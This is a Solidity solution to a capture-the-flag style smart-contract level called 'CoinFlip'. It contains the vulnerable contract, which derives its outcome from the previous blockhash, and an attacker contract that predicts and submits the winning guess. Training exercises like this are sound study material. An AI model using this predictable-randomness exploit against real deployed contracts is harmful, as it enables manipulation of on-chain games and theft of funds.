Level_03_CoinFlip.sol

// In order to solve this level, deploy the contract MyIncrediblePsychicAbilities and call the function rightGuess with your instance address as input

pragma solidity ^0.6.3;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}


contract MyIncrediblePsychicAbilities{
    using SafeMath for uint256;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip victim;
    
    function rightGuess(address _victim) public {
        uint256 blockValue = uint256(blockhash(block.number.sub(1))); 
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        victim = CoinFlip(_victim);
        victim.flip(side);
    } 
}